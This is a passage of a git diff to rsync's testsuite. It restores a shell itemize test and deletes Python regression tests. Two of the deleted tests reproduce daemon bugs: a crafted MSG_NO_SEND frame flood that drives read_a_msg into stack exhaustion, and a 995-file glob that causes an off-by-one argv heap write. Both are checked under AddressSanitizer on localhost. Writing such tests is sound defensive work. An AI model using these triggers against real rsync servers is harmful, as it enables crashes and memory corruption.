\"\n-        \"an AddressSanitizer stack-overflow -- the MSG_NOOP handler re-armed \"\n-        \"in_multiplexed before the keepalive flush:\\n\" + reports[:1500])\n-\n-print(\"io-noop-flood-recursion: a MSG_NOOP flood does not re-enter read_a_msg \"\n-      \"(no stack exhaustion).\")\ndiff --git a/testsuite/io-nosend-flood-recursion_test.py b/testsuite/io-nosend-flood-recursion_test.py\ndeleted file mode 100644\nindex bf3c727..0000000\n--- a/testsuite/io-nosend-flood-recursion_test.py\n+++ /dev/null\n@@ -1,100 +0,0 @@\n-#!/usr/bin/env python3\n-# Sibling of io-noop-flood-recursion: the same read_a_msg() re-entry bug reached\n-# through MSG_NO_SEND instead of MSG_NOOP. The original fix deferred\n-# iobuf.in_multiplexed = 1 only for MSG_NOOP/MSG_IO_ERROR, but the MSG_NO_SEND\n-# handler also reset it to 1 *before* its send_msg_int(MSG_NO_SEND, val) call-out\n-# (the !am_generator branch). At a daemon sender (am_sender), send_msg() reaches\n-# perform_io(PIO_NEED_MSGROOM), which re-enters read_a_msg() while\n-# in_multiplexed > 0 and iobuf.in.len > 512 -- so a MSG_NO_SEND flood recurses to\n-# stack exhaustion exactly like the MSG_NOOP one. (Codex review of the run4 0002\n-# fix flagged this sibling path.)\n-#\n-# Pull from a daemon (so it is the sender, not the generator -> the send_msg_int\n-# branch runs) and flood MSG_NO_SEND frames in one burst. The fix defers\n-# in_multiplexed = 1 past the call-out here too.\n-#\n-# Oracle: pre-fix -> ASan stack-overflow report from the daemon child; fixed ->\n-# none. Needs an ASan build + a real TCP daemon, and is skipped otherwise.\n-\n-import glob\n-import os\n-import socket\n-import struct\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, require_asan, require_tcp, start_rsyncd, test_fail,\n-)\n-import rsync_proto as rp\n-\n-PORT = 12958\n-require_tcp(\"the pure-Python client needs a real TCP daemon; run with --use-tcp\")\n-require_asan(\"the read_a_msg MSG_NO_SEND recursion is observed via the daemon's \"\n-            \"AddressSanitizer stack-overflow report\")\n-claim_ports(PORT)\n-\n-mod = SCRATCHDIR / 'nosend-mod'\n-mod.mkdir(parents=True, exist_ok=True)\n-(mod / 'f').write_text(\"hello\\n\")\n-\n-conf = SCRATCHDIR / 'nosend.conf'\n-# Tiny SO_SNDBUF so the daemon's re-sent MSG_NO_SEND output blocks almost\n-# immediately (loopback send buffers are otherwise large), forcing send_msg()'s\n-# perform_io(PIO_NEED_MSGROOM) -- and thus the input-draining re-entry.\n-conf.write_text(f\"\"\"\\\n-pid file = {SCRATCHDIR}/nosend-rsyncd.pid\n-use chroot = no\n-socket options = SO_SNDBUF=2048\n-\n-[mod]\n-    path = {mod}\n-    read only = no\n-\"\"\")\n-\n-asan_log = SCRATCHDIR / 'nosend-asan'\n-for stale in glob.glob(f\"{asan_log}.*\"):\n-    os.unlink(stale)\n-prev = os.environ.get('ASAN_OPTIONS', '')\n-os.environ['ASAN_OPTIONS'] = (\n-    (prev + ':' if prev else '') + f'detect_leaks=0:abort_on_error=1:log_path={asan_log}')\n-\n-start_rsyncd(conf, PORT)\n-\n-c = rp.DaemonClient('127.0.0.1', PORT)\n-# Shrink our receive buffer so the daemon's re-sent MSG_NO_SEND output blocks\n-# almost immediately (on loopback the default buffers are huge). Once send_msg()\n-# can't drain, perform_io(PIO_NEED_MSGROOM) does the input-draining re-entry --\n-# unlike MSG_NOOP, whose maybe_send_keepalive() flushes unconditionally.\n-c.sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2048)\n-# Pull => daemon is the sender (am_sender, not am_generator) => MSG_NO_SEND takes\n-# the send_msg_int() branch.\n-c.handshake('mod', ['--server', '--sender', '-e.LsfxCIu', '.', 'mod/'],\n-            greeting_version=30)\n-# A MSG_NO_SEND frame: header ((MPLEX_BASE + MSG_NO_SEND) << 24) | 4, 4-byte body.\n-NOSEND = struct.pack('<I', ((rp.MPLEX_BASE + 102) << 24) | 4) + b'\\x00\\x00\\x00\\x00'\n-try:\n-    c._send_raw(NOSEND * 60000)\n-except OSError:\n-    pass                               # daemon crashed mid-write, or send timed out\n-try:\n-    c.drain(timeout=5.0)\n-except OSError:\n-    pass                               # connection reset by the crashed daemon child\n-c.close()\n-\n-reports = ''\n-for _ in range(30):\n-    reports = ''.join(open(r, errors='replace').read()\n-                      for r in glob.glob(f\"{asan_log}.*\"))\n-    if 'AddressSanitizer' in reports:\n-        break\n-    time.sleep(0.1)\n-\n-if 'AddressSanitizer' in reports:\n-    test_fail(\n-        \"daemon sender recursed through read_a_msg on a MSG_NO_SEND flood and hit \"\n-        \"an AddressSanitizer stack-overflow -- the MSG_NO_SEND handler re-armed \"\n-        \"in_multiplexed before the send_msg_int flush:\\n\" + reports[:1500])\n-\n-print(\"io-nosend-flood-recursion: a MSG_NO_SEND flood does not re-enter \"\n-      \"read_a_msg (no stack exhaustion).\")\ndiff --git a/testsuite/io-readargs-argv-nullwrite_test.py b/testsuite/io-readargs-argv-nullwrite_test.py\ndeleted file mode 100644\nindex 7cdc824..0000000\n--- a/testsuite/io-readargs-argv-nullwrite_test.py\n+++ /dev/null\n@@ -1,90 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression test for an off-by-one heap write in read_args() (io.c). After the\n-# '.' separator, read_args delegates argv growth to glob_expand(), which does\n-# ENSURE_MEMSPACE(glob.argv, char *, glob.maxargs, glob.argc + 1) -- reserving\n-# room for the entry it adds but not for the trailing NULL that read_args writes\n-# after the loop. ENSURE_MEMSPACE only grows when argc+1 > maxargs, so when a\n-# single post-dot glob lands argc exactly on maxargs (initially MAX_ARGS = 1000),\n-# no growth happens and the final 'argv[argc] = NULL' is an 8-byte NULL write one\n-# slot past the argv allocation. The pre-dot growth check (argc == maxargs-1)\n-# never fires once dot_pos is set, and it cannot pre-empt a single glob that\n-# crosses the boundary within one iteration.\n-#\n-# A daemon client sends '--server --sender -e... . *' against a module holding\n-# exactly 995 files: read_args adds \"rsyncd\" + 3 options + \".\" (argc 5), the lone\n-# post-dot '*' globs to 995 entries -> argc lands on exactly 1000 == maxargs, and\n-# argv[1000] is written one past the 1000-slot array. Reachable post-chroot/setuid\n-# in the per-connection daemon child. The fix reserves the +1 slot before the\n-# NULL store.\n-#\n-# Oracle: pre-fix -> the daemon child hits an ASan heap-buffer-overflow report;\n-# fixed -> none. Needs an ASan build + a real TCP daemon, and is skipped\n-# otherwise.\n-\n-import glob as globmod\n-import os\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, require_asan, require_tcp, start_rsyncd, test_fail,\n-)\n-import rsync_proto as rp\n-\n-PORT = 12956\n-require_tcp(\"the pure-Python client needs a real TCP daemon; run with --use-tcp\")\n-require_asan(\"the read_args trailing-NULL argv overflow is only observable under \"\n-            \"AddressSanitizer\")\n-claim_ports(PORT)\n-\n-mod = SCRATCHDIR / 'readargs-mod'\n-mod.mkdir(parents=True, exist_ok=True)\n-for stale in mod.iterdir():\n-    stale.unlink()\n-# read_args pre-dot args are: \"rsyncd\" + --server + --sender + -e.LsfxCIu + \".\"\n-# = 5; the lone post-dot '*' must glob to 995 so argc lands on MAX_ARGS (1000).\n-NFILES = 995\n-for i in range(NFILES):\n-    (mod / ('f%04d' % i)).write_text('x')\n-\n-conf = SCRATCHDIR / 'readargs.conf'\n-conf.write_text(f\"\"\"\\\n-pid file = {SCRATCHDIR}/readargs-rsyncd.pid\n-use chroot = no\n-\n-[mod]\n-    path = {mod}\n-    read only = no\n-\"\"\")\n-\n-asan_log = SCRATCHDIR / 'readargs-asan'\n-for stale in globmod.glob(f\"{asan_log}.*\"):\n-    os.unlink(stale)\n-prev = os.environ.get('ASAN_OPTIONS', '')\n-os.environ['ASAN_OPTIONS'] = (\n-    (prev + ':' if prev else '') + f'detect_leaks=0:abort_on_error=1:log_path={asan_log}')\n-\n-start_rsyncd(conf, PORT)\n-\n-c = rp.DaemonClient('127.0.0.1', PORT)\n-# A single post-dot '*' that globs to NFILES entries lands argc on maxargs.\n-c.handshake('mod', ['--server', '--sender', '-e.LsfxCIu', '.', '*'],\n-            greeting_version=30)\n-c.drain(timeout=3.0)\n-c.close()\n-\n-reports = ''\n-for _ in range(30):\n-    reports = ''.join(open(r, errors='replace').read()\n-                      for r in globmod.glob(f\"{asan_log}.*\"))\n-    if 'AddressSanitizer' in reports:\n-        break\n-    time.sleep(0.1)\n-\n-if 'AddressSanitizer' in reports:\n-    test_fail(\n-        \"read_args() wrote the trailing argv NULL one slot past the argv heap \"\n-        \"allocation when a post-dot glob landed argc exactly on maxargs:\\n\"\n-        + reports[:1500])\n-\n-print(\"io-readargs-argv-nullwrite: the trailing argv NULL stays in bounds when a \"\n-      \"post-dot glob fills argv to maxargs.\")\ndiff --git a/testsuite/itemize.test b/testsuite/itemize.test\nnew file mode 100644\nindex 0000000..c1c57c5\n--- /dev/null\n+++ b/testsuite/itemize.test\n@@ -0,0 +1,246 @@\n+#!/bin/sh\n+\n+# Copyright (C) 2005-2022 Wayne Davison\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Test the output of various copy commands to ensure itemized output\n+# and double-verbose output is correct.\n+\n+. \"$suitedir/rsync.fns\"\n+\n+to2dir=\"$tmpdir/to2\"\n+\n+makepath \"$fromdir/foo\"\n+makepath \"$fromdir/bar/baz\"\n+cp_p \"$srcdir/configure.ac\" \"$fromdir/foo/config1\"\n+cp_p \"$srcdir/config.sub\" \"$fromdir/foo/config2\"\n+cp_p \"$srcdir/rsync.h\" \"$fromdir/bar/baz/rsync\"\n+chmod 600 \"$fromdir\"/foo/config? \"$fromdir/bar/baz/rsync\"\n+umask 0\n+ln -s ../bar/baz/rsync \"$fromdir/foo/sym\"\n+umask 022\n+ln \"$fromdir/foo/config1\" \"$fromdir/foo/extra\"\n+rm -f \"$to2dir\"\n+\n+# Check if rsync is set to hard-link symlinks.\n+if $RSYNC -VV | grep '\"hardlink_symlinks\": true' >/dev/null; then\n+    L=hL\n+    sym_dots=\"$allspace\"\n+    L_sym_dots=\".L$allspace\"\n+    is_uptodate='is uptodate'\n+    touch \"$chkfile.extra\"\n+else\n+    L=cL\n+    sym_dots=\"c.t.$dots\"\n+    L_sym_dots=\"cL$sym_dots\"\n+    is_uptodate='-> ../bar/baz/rsync'\n+    echo \"cL$sym_dots foo/sym $is_uptodate\" >\"$chkfile.extra\"\n+fi\n+\n+# Check if rsync can preserve time on symlinks\n+case \"$RSYNC\" in\n+*protocol=2*)\n+    T=.T\n+    ;;\n+*)\n+    if $RSYNC -VV | grep '\"symtimes\": true' >/dev/null; then\n+\tT=.t\n+    else\n+\tT=.T\n+    fi\n+    ;;\n+esac\n+\n+checkdiff \"$RSYNC -iplr '$fromdir/' '$todir/'\" <<EOT\n+created directory $todir\n+cd$all_plus ./\n+cd$all_plus bar/\n+cd$all_plus bar/baz/\n+>f$all_plus bar/baz/rsync\n+cd$all_plus foo/\n+>f$all_plus foo/config1\n+>f$all_plus foo/config2\n+>f$all_plus foo/extra\n+cL$all_plus foo/sym -> ../bar/baz/rsync\n+EOT\n+\n+# Ensure there are no accidental directory-time problems.\n+$RSYNC -a -f '-! */' \"$fromdir/\" \"$todir\"\n+\n+cp_p \"$srcdir/configure.ac\" \"$fromdir/foo/config2\"\n+chmod 601 \"$fromdir/foo/config2\"\n+checkdiff \"$RSYNC -iplrH '$fromdir/' '$todir/'\" <<EOT\n+>f..T.$dots bar/baz/rsync\n+>f..T.$dots foo/config1\n+>f.sTp$dots foo/config2\n+hf..T.$dots foo/extra => foo/config1\n+EOT\n+\n+$RSYNC -a -f '-! */' \"$fromdir/\" \"$todir\"\n+cp_p \"$srcdir/config.sub\" \"$fromdir/foo/config2\"\n+sleep 1 # For directory mod below to ensure time difference\n+rm \"$todir/foo/sym\"\n+umask 0\n+ln -s ../bar/baz \"$todir/foo/sym\"\n+umask 022\n+chmod 600 \"$fromdir/foo/config2\"\n+chmod 777 \"$todir/bar/baz/rsync\"\n+\n+checkdiff \"$RSYNC -iplrtc '$fromdir/' '$todir/'\" <<EOT\n+.f..tp$dots bar/baz/rsync\n+.d..t.$dots foo/\n+.f..t.$dots foo/config1\n+>fcstp$dots foo/config2\n+cLc$T.$dots foo/sym -> ../bar/baz/rsync\n+EOT\n+\n+cp_p \"$srcdir/configure.ac\" \"$fromdir/foo/config2\"\n+chmod 600 \"$fromdir/foo/config2\"\n+# Lack of -t is for unchanged hard-link stress-test!\n+checkdiff \"$RSYNC -vvplrH '$fromdir/' '$todir/'\" \\\n+\tv_filt <<EOT\n+bar/baz/rsync is uptodate\n+foo/config1 is uptodate\n+foo/extra is uptodate\n+foo/sym is uptodate\n+foo/config2\n+EOT\n+\n+chmod 747 \"$todir/bar/baz/rsync\"\n+$RSYNC -a -f '-! */' \"$fromdir/\" \"$todir\"\n+checkdiff \"$RSYNC -ivvplrtH '$fromdir/' '$todir/'\" \\\n+\tv_filt <<EOT\n+.d$allspace ./\n+.d$allspace bar/\n+.d$allspace bar/baz/\n+.f...p$dots bar/baz/rsync\n+.d$allspace foo/\n+.f$allspace foo/config1\n+>f..t.$dots foo/config2\n+hf$allspace foo/extra\n+.L$allspace foo/sym -> ../bar/baz/rsync\n+EOT\n+\n+chmod 757 \"$todir/foo/config1\"\n+touch \"$todir/foo/config2\"\n+checkdiff \"$RSYNC -vplrtH '$fromdir/' '$todir/'\" \\\n+\tv_filt <<EOT\n+foo/config2\n+EOT\n+\n+chmod 757 \"$todir/foo/config1\"\n+touch \"$todir/foo/config2\"\n+checkdiff \"$RSYNC -iplrtH '$fromdir/' '$todir/'\" <<EOT\n+.f...p$dots foo/config1\n+>f..t.$dots foo/config2\n+EOT\n+\n+checkdiff \"$RSYNC -ivvplrtH --copy-dest=../to '$fromdir/' '$to2dir/'\" \\\n+\tv_filt <<EOT\n+cd$allspace ./\n+cd$allspace bar/\n+cd$allspace bar/baz/\n+cf$allspace bar/baz/rsync\n+cd$allspace foo/\n+cf$allspace foo/config1\n+cf$allspace foo/config2\n+hf$allspace foo/extra => foo/config1\n+cL$sym_dots foo/sym -> ../bar/baz/rsync\n+EOT\n+\n+rm -rf \"$to2dir\"\n+cat - \"$chkfile.extra\" <<EOT >\"$chkfile\"\n+created directory $to2dir\n+hf$allspace foo/extra => foo/config1\n+EOT\n+checkdiff2 \"$RSYNC -iplrtH --copy-dest=../to '$fromdir/' '$to2dir/'\"\n+\n+rm -rf \"$to2dir\"\n+checkdiff \"$RSYNC -vvplrtH --copy-dest='$todir' '$fromdir/' '$to2dir/'\" \\\n+\tv_filt <<EOT\n+./ is uptodate\n+bar/ is uptodate\n+bar/baz/ is uptodate\n+bar/baz/rsync is uptodate\n+foo/ is uptodate\n+foo/config1 is uptodate\n+foo/config2 is uptodate\n+foo/sym $is_uptodate\n+foo/extra => foo/config1\n+EOT\n+\n+rm -rf \"$to2dir\"\n+checkdiff \"$RSYNC -ivvplrtH --link-dest='$todir' '$fromdir/' '$to2dir/'\" \\\n+\tv_filt <<EOT\n+cd$allspace ./\n+cd$allspace bar/\n+cd$allspace bar/baz/\n+hf$allspace bar/baz/rsync\n+cd$allspace foo/\n+hf$allspace foo/config1\n+hf$allspace foo/config2\n+hf$allspace foo/extra => foo/config1\n+$L$sym_dots foo/sym -> ../bar/baz/rsync\n+EOT\n+\n+rm -rf \"$to2dir\"\n+cat - \"$chkfile.extra\" <<EOT >\"$chkfile\"\n+created directory $to2dir\n+EOT\n+checkdiff2 \"$RSYNC -iplrtH --dry-run --link-dest=../to '$fromdir/' '$to2dir/'\"\n+\n+rm -rf \"$to2dir\"\n+checkdiff2 \"$RSYNC -iplrtH --link-dest=../to '$fromdir/' '$to2dir/'\"\n+\n+rm -rf \"$to2dir\"\n+checkdiff \"$RSYNC -vvplrtH --link-dest='$todir' '$fromdir/' '$to2dir/'\" \\\n+\tv_filt <<EOT\n+./ is uptodate\n+bar/ is uptodate\n+bar/baz/ is uptodate\n+bar/baz/rsync is uptodate\n+foo/ is uptodate\n+foo/config1 is uptodate\n+foo/config2 is uptodate\n+foo/extra is uptodate\n+foo/sym $is_uptodate\n+EOT\n+\n+rm -rf \"$to2dir\"\n+checkdiff \"$RSYNC -ivvplrtH --compare-dest='$todir' '$fromdir/' '$to2dir/'\" \\\n+\tv_filt <<EOT\n+cd$allspace ./\n+cd$allspace bar/\n+cd$allspace bar/baz/\n+.f$allspace bar/baz/rsync\n+cd$allspace foo/\n+.f$allspace foo/config1\n+.f$allspace foo/config2\n+.f$allspace foo/extra\n+$L_sym_dots foo/sym -> ../bar/baz/rsync\n+EOT\n+\n+rm -rf \"$to2dir\"\n+cat - \"$chkfile.extra\" <<EOT >\"$chkfile\"\n+created directory $to2dir\n+EOT\n+checkdiff2 \"$RSYNC -iplrtH --compare-dest='$todir' '$fromdir/' '$to2dir/'\"\n+\n+rm -rf \"$to2dir\"\n+checkdiff \"$RSYNC -vvplrtH --compare-dest='$todir' '$fromdir/' '$to2dir/'\" \\\n+\tv_filt <<EOT\n+./ is uptodate\n+bar/ is uptodate\n+bar/baz/ is uptodate\n+bar/baz/rsync is uptodate\n+foo/ is uptodate\n+foo/config1 is uptodate\n+foo/config2 is uptodate\n+foo/extra is uptodate\n+foo/sym $is_uptodate\n+EOT\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/itemize_test.py b/testsuite/itemize_test.py\ndeleted file mode 100644\nindex b6a4e89..0000000\n--- a/testsuite/itemize_test.py\n+++ /dev/null\n@@ -1,253 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/itemize.test.\n-#\n-# Test the output of various copy commands to ensure itemized output\n-# (-i, -ii) and double-verbose output (-vv) match the canonical\n-# representations across whole-file and delta paths.\n-\n-import os\n-import shutil\n-\n-from rsyncfns import (\n-    CHKFILE, FROMDIR, RSYNC, SCRATCHDIR, SRCDIR, TMPDIR, TODIR,\n-    all_plus, allspace, dots,\n-    checkdiff, cp_p, makepath, run_rsync, v_filt, hardlink_symlinks_supported,\n-)\n-\n-\n-to2dir = TMPDIR / 'to2'\n-\n-makepath(FROMDIR / 'foo', FROMDIR / 'bar' / 'baz')\n-cp_p(SRCDIR / 'configure.ac', FROMDIR / 'foo' / 'config1')\n-cp_p(SRCDIR / 'config.sub', FROMDIR / 'foo' / 'config2')\n-cp_p(SRCDIR / 'rsync.h', FROMDIR / 'bar' / 'baz' / 'rsync')\n-os.chmod(FROMDIR / 'foo' / 'config1', 0o600)\n-os.chmod(FROMDIR / 'foo' / 'config2', 0o600)\n-os.chmod(FROMDIR / 'bar' / 'baz' / 'rsync', 0o600)\n-\n-old_umask = os.umask(0)\n-try:\n-    os.symlink('../bar/baz/rsync', FROMDIR / 'foo' / 'sym')\n-finally:\n-    os.umask(old_umask)\n-\n-os.link(FROMDIR / 'foo' / 'config1', FROMDIR / 'foo' / 'extra')\n-if to2dir.is_file():\n-    to2dir.unlink()\n-\n-\n-# Detect what this rsync build supports.\n-vv = run_rsync('-VV', check=True, capture_output=True).stdout\n-hardlink_symlinks = '\"hardlink_symlinks\": true' in vv\n-symtimes_supported = '\"symtimes\": true' in vv\n-# The only itemisation difference between a platform that can hard-link a\n-# symlink and one that cannot is the change-type letter where the symlink\n-# itself is transferred: hL when it is hard-linked, cL when it is copied.\n-# The attribute field, the \"is uptodate\" wording and the --copy-dest lines\n-# are identical either way -- measured on macOS 10.13, the one platform that\n-# lacks the capability (linkat(AT_FDCWD, sym, ..., 0) is EOPNOTSUPP there).\n-#\n-# The two answers can disagree, so both are asked.  The build capability is\n-# decided by configure on whatever filesystem the source tree sat on, while the\n-# link happens on whichever filesystem holds the test data: macOS builds on APFS\n-# (yes) and can write to HFS+ (ENOTSUP).  rsync falls back to a copy when the\n-# filesystem refuses, so the letter follows the filesystem.\n-L = ('hL' if hardlink_symlinks and hardlink_symlinks_supported(SCRATCHDIR)\n-     else 'cL')\n-\n-if 'protocol=2' in RSYNC:\n-    T = '.T'\n-elif symtimes_supported:\n-    T = '.t'\n-else:\n-    T = '.T'\n-\n-\n-# First check: -iplr basic itemize on a fresh transfer.\n-checkdiff(['-iplr', f'{FROMDIR}/', f'{TODIR}/'],\n-          f\"created directory {TODIR}\\n\"\n-          f\"cd{all_plus} ./\\n\"\n-          f\"cd{all_plus} bar/\\n\"\n-          f\"cd{all_plus} bar/baz/\\n\"\n-          f\">f{all_plus} bar/baz/rsync\\n\"\n-          f\"cd{all_plus} foo/\\n\"\n-          f\">f{all_plus} foo/config1\\n\"\n-          f\">f{all_plus} foo/config2\\n\"\n-          f\">f{all_plus} foo/extra\\n\"\n-          f\"cL{all_plus} foo/sym -> ../bar/baz/rsync\\n\")\n-\n-# Touch dir times so subsequent itemize diffs don't pick up dir-time noise.\n-run_rsync('-a', '-f', '-! */', f'{FROMDIR}/', str(TODIR))\n-\n-# Permute one file's content + mode; expect a content/mode itemize.\n-cp_p(SRCDIR / 'configure.ac', FROMDIR / 'foo' / 'config2')\n-os.chmod(FROMDIR / 'foo' / 'config2', 0o601)\n-\n-checkdiff(['-iplrH', f'{FROMDIR}/', f'{TODIR}/'],\n-          f\">f..T.{dots} bar/baz/rsync\\n\"\n-          f\">f..T.{dots} foo/config1\\n\"\n-          f\">f.sTp{dots} foo/config2\\n\"\n-          f\"hf..T.{dots} foo/extra => foo/config1\\n\")\n-\n-# Re-touch dirs, permute config2 again and replace the symlink target.\n-run_rsync('-a', '-f', '-! */', f'{FROMDIR}/', str(TODIR))\n-cp_p(SRCDIR / 'config.sub', FROMDIR / 'foo' / 'config2')\n-import time\n-time.sleep(1)  # to provoke a directory mtime change below\n-(TODIR / 'foo' / 'sym').unlink()\n-old_umask = os.umask(0)\n-try:\n-    os.symlink('../bar/baz', TODIR / 'foo' / 'sym')\n-finally:\n-    os.umask(old_umask)\n-os.chmod(FROMDIR / 'foo' / 'config2', 0o600)\n-os.chmod(TODIR / 'bar' / 'baz' / 'rsync', 0o777)\n-\n-checkdiff(['-iplrtc', f'{FROMDIR}/', f'{TODIR}/'],\n-          f\".f..tp{dots} bar/baz/rsync\\n\"\n-          f\".d..t.{dots} foo/\\n\"\n-          f\".f..t.{dots} foo/config1\\n\"\n-          f\">fcstp{dots} foo/config2\\n\"\n-          f\"cLc{T}.{dots} foo/sym -> ../bar/baz/rsync\\n\")\n-\n-# Re-permute config2, leaving the others untouched; lack of -t is for\n-# the unchanged-hard-link stress test.\n-cp_p(SRCDIR / 'configure.ac', FROMDIR / 'foo' / 'config2')\n-os.chmod(FROMDIR / 'foo' / 'config2', 0o600)\n-\n-checkdiff(['-vvplrH', f'{FROMDIR}/', f'{TODIR}/'],\n-          \"bar/baz/rsync is uptodate\\n\"\n-          \"foo/config1 is uptodate\\n\"\n-          \"foo/extra is uptodate\\n\"\n-          \"foo/sym is uptodate\\n\"\n-          \"foo/config2\\n\",\n-          filter=v_filt)\n-\n-# Touch a mode change on one dest file then run -ii to see \"no change\".\n-os.chmod(TODIR / 'bar' / 'baz' / 'rsync', 0o747)\n-run_rsync('-a', '-f', '-! */', f'{FROMDIR}/', str(TODIR))\n-\n-checkdiff(['-ivvplrtH', f'{FROMDIR}/', f'{TODIR}/'],\n-          f\".d{allspace} ./\\n\"\n-          f\".d{allspace} bar/\\n\"\n-          f\".d{allspace} bar/baz/\\n\"\n-          f\".f...p{dots} bar/baz/rsync\\n\"\n-          f\".d{allspace} foo/\\n\"\n-          f\".f{allspace} foo/config1\\n\"\n-          f\">f..t.{dots} foo/config2\\n\"\n-          f\"hf{allspace} foo/extra\\n\"\n-          f\".L{allspace} foo/sym -> ../bar/baz/rsync\\n\",\n-          filter=v_filt)\n-\n-# Permute one perm and re-touch a file; expect just those two itemizes.\n-os.chmod(TODIR / 'foo' / 'config1', 0o757)\n-(TODIR / 'foo' / 'config2').touch()\n-checkdiff(['-vplrtH', f'{FROMDIR}/', f'{TODIR}/'],\n-          \"foo/config2\\n\",\n-          filter=v_filt)\n-\n-os.chmod(TODIR / 'foo' / 'config1', 0o757)\n-(TODIR / 'foo' / 'config2').touch()\n-checkdiff(['-iplrtH', f'{FROMDIR}/', f'{TODIR}/'],\n-          f\".f...p{dots} foo/config1\\n\"\n-          f\">f..t.{dots} foo/config2\\n\")\n-\n-\n-# --copy-dest variants.\n-checkdiff(['-ivvplrtH', '--copy-dest=../to', f'{FROMDIR}/', f'{to2dir}/'],\n-          f\"cd{allspace} ./\\n\"\n-          f\"cd{allspace} bar/\\n\"\n-          f\"cd{allspace} bar/baz/\\n\"\n-          f\"cf{allspace} bar/baz/rsync\\n\"\n-          f\"cd{allspace} foo/\\n\"\n-          f\"cf{allspace} foo/config1\\n\"\n-          f\"cf{allspace} foo/config2\\n\"\n-          f\"hf{allspace} foo/extra => foo/config1\\n\"\n-          f\"cL{allspace} foo/sym -> ../bar/baz/rsync\\n\",\n-          filter=v_filt)\n-\n-shutil.rmtree(to2dir, ignore_errors=True)\n-checkdiff(['-iplrtH', '--copy-dest=../to', f'{FROMDIR}/', f'{to2dir}/'],\n-          f\"created directory {to2dir}\\n\"\n-          f\"hf{allspace} foo/extra => foo/config1\\n\")\n-\n-shutil.rmtree(to2dir, ignore_errors=True)\n-checkdiff(['-vvplrtH', f'--copy-dest={TODIR}', f'{FROMDIR}/', f'{to2dir}/'],\n-          \"./ is uptodate\\n\"\n-          \"bar/ is uptodate\\n\"\n-          \"bar/baz/ is uptodate\\n\"\n-          \"bar/baz/rsync is uptodate\\n\"\n-          \"foo/ is uptodate\\n\"\n-          \"foo/config1 is uptodate\\n\"\n-          \"foo/config2 is uptodate\\n\"\n-          f\"foo/sym is uptodate\\n\"\n-          \"foo/extra => foo/config1\\n\",\n-          filter=v_filt)\n-\n-\n-# --link-dest variants.\n-shutil.rmtree(to2dir, ignore_errors=True)\n-checkdiff(['-ivvplrtH', f'--link-dest={TODIR}', f'{FROMDIR}/', f'{to2dir}/'],\n-          f\"cd{allspace} ./\\n\"\n-          f\"cd{allspace} bar/\\n\"\n-          f\"cd{allspace} bar/baz/\\n\"\n-          f\"hf{allspace} bar/baz/rsync\\n\"\n-          f\"cd{allspace} foo/\\n\"\n-          f\"hf{allspace} foo/config1\\n\"\n-          f\"hf{allspace} foo/config2\\n\"\n-          f\"hf{allspace} foo/extra => foo/config1\\n\"\n-          f\"{L}{allspace} foo/sym -> ../bar/baz/rsync\\n\",\n-          filter=v_filt)\n-\n-shutil.rmtree(to2dir, ignore_errors=True)\n-checkdiff(['-iplrtH', '--dry-run', '--link-dest=../to', f'{FROMDIR}/', f'{to2dir}/'],\n-          f\"created directory {to2dir}\\n\")\n-\n-shutil.rmtree(to2dir, ignore_errors=True)\n-checkdiff(['-iplrtH', '--link-dest=../to', f'{FROMDIR}/', f'{to2dir}/'],\n-          f\"created directory {to2dir}\\n\")\n-\n-shutil.rmtree(to2dir, ignore_errors=True)\n-checkdiff(['-vvplrtH', f'--link-dest={TODIR}', f'{FROMDIR}/', f'{to2dir}/'],\n-          \"./ is uptodate\\n\"\n-          \"bar/ is uptodate\\n\"\n-          \"bar/baz/ is uptodate\\n\"\n-          \"bar/baz/rsync is uptodate\\n\"\n-          \"foo/ is uptodate\\n\"\n-          \"foo/config1 is uptodate\\n\"\n-          \"foo/config2 is uptodate\\n\"\n-          \"foo/extra is uptodate\\n\"\n-          f\"foo/sym is uptodate\\n\",\n-          filter=v_filt)\n-\n-\n-# --compare-dest variants.\n-shutil.rmtree(to2dir, ignore_errors=True)\n-checkdiff(['-ivvplrtH', f'--compare-dest={TODIR}', f'{FROMDIR}/', f'{to2dir}/'],\n-          f\"cd{allspace} ./\\n\"\n-          f\"cd{allspace} bar/\\n\"\n-          f\"cd{allspace} bar/baz/\\n\"\n-          f\".f{allspace} bar/baz/rsync\\n\"\n-          f\"cd{allspace} foo/\\n\"\n-          f\".f{allspace} foo/config1\\n\"\n-          f\".f{allspace} foo/config2\\n\"\n-          f\".f{allspace} foo/extra\\n\"\n-          f\".L{allspace} foo/sym -> ../bar/baz/rsync\\n\",\n-          filter=v_filt)\n-\n-shutil.rmtree(to2dir, ignore_errors=True)\n-checkdiff(['-iplrtH', f'--compare-dest={TODIR}', f'{FROMDIR}/', f'{to2dir}/'],\n-          f\"created directory {to2dir}\\n\")\n-\n-shutil.rmtree(to2dir, ignore_errors=True)\n-checkdiff(['-vvplrtH', f'--compare-dest={TODIR}', f'{FROMDIR}/', f'{to2dir}/'],\n-          \"./ is uptodate\\n\"\n-          \"bar/ is uptodate\\n\"\n-          \"bar/baz/ is uptodate\\n\"\n-          \"bar/baz/rsync is uptodate\\n\"\n-          \"foo/ is uptodate\\n\"\n-          \"foo/config1 is uptodate\\n\"\n-          \"foo/config2 is uptodate\\n\"\n-          \"foo/extra is uptodate\\n\"\n-          f\"foo/sym is uptodate\\n\",\n-          filter=v_filt)\ndiff --git a/testsuite/iwildmatch-fold_test.py b/testsuite/iwildmatch-fold_test.py\ndeleted file mode 100644\nindex 2a4ea9c..0000000\n--- a/testsuite/iwildmatch-fold_test.py\n+++ /dev/null\n@@ -1,22 +0,0 @@\n-#!/usr/bin/env python3\n-# Regression test for KI-53: iwildmatch() must fold case on BOTH the text and the\n-# pattern.  The old dowild() folded only the text char, so an upper-case pattern\n-# token (e.g. a daemon \"hosts deny = *.BADDOMAIN.COM\") failed to match a\n-# lower-case host -> access-control fail-open.  The t_iwildmatch helper links the\n-# real lib/wildmatch.o and exercises the fold both ways.\n-\n-import subprocess\n-\n-from rsyncfns import TOOLDIR, test_fail, test_skipped\n-\n-helper = TOOLDIR / 't_iwildmatch'\n-if not helper.is_file():\n-    test_skipped(\"t_iwildmatch helper not built\")\n-\n-proc = subprocess.run([str(helper)], stdout=subprocess.PIPE, 